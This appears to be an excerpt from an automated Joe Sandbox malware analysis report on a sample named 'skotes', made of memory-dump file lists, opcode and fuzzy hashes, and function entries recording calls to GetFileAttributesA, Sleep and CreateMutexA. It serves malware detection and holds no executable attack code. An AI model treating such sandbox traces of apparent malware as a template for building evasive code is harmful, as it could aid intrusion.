Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 086f80f4d3b52c0584dbb49fdf442f5a8bd2ba1878261b92da3710cc87a82a81
Instruction ID: a0bfc250a0795e19022d00c11ea8b15d64ce82eb57b27ab9e8b6f022b4b3954f
Opcode Fuzzy Hash: 086f80f4d3b52c0584dbb49fdf442f5a8bd2ba1878261b92da3710cc87a82a81
Instruction Fuzzy Hash: 07316831A041009BEF189B78DD89B7DB772EFD2314FA48218E0159B2D5CB7599888692

Function 0019A54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0019A550
Sleep.KERNEL32(00000064,?), ref: 0019A963
CreateMutexA.KERNEL32(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: b2815f6926ad7f3a0de8fd0b9e049cf9d9028b7d30135c2d89ffdd4a14d93847
Instruction ID: d6601d13a98abc4cff10a250f7c8df80412bbd1cd107d8f92acc9720584dbd66
Opcode Fuzzy Hash: b2815f6926ad7f3a0de8fd0b9e049cf9d9028b7d30135c2d89ffdd4a14d93847
Instruction Fuzzy Hash: 273159317041008BFF18DB78DD99B7DB762EFD6318FA48618E015DB2D1C73599888792

Function 0019A682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0019A685
Sleep.KERNEL32(00000064,?), ref: 0019A963
CreateMutexA.KERNEL32(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 3363b80877f5a3499564573a653fef2364c830c870719ea3d22e8997d5e2ee84
Instruction ID: 1c55ab772d4c5e78984632e21be23637cf33c3db28d734f378650b2c23694745
Opcode Fuzzy Hash: 3363b80877f5a3499564573a653fef2364c830c870719ea3d22e8997d5e2ee84
Instruction Fuzzy Hash: 713159316042409BEF1CDB7CDD89B6DB7B2EFD1314F648618E015D72D1C73599888792

Function 0019A7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0019A7BA
Sleep.KERNEL32(00000064,?), ref: 0019A963
CreateMutexA.KERNEL32(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: ddc3f091f8ea091135a6397fa252c42a2587e6c4f2cf0e5ecf6515ef0e2301d7
Instruction ID: 7e8104e6b32d6b7499f077e41d21f4fa7b497705b34e43fa2e2ed1c1a95753be
Opcode Fuzzy Hash: ddc3f091f8ea091135a6397fa252c42a2587e6c4f2cf0e5ecf6515ef0e2301d7
Instruction Fuzzy Hash: DA314831B041048BEF1CDB78DD89B6DB7B2EFC1314F648618E015A72D1D73699898792

Function 001C6E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
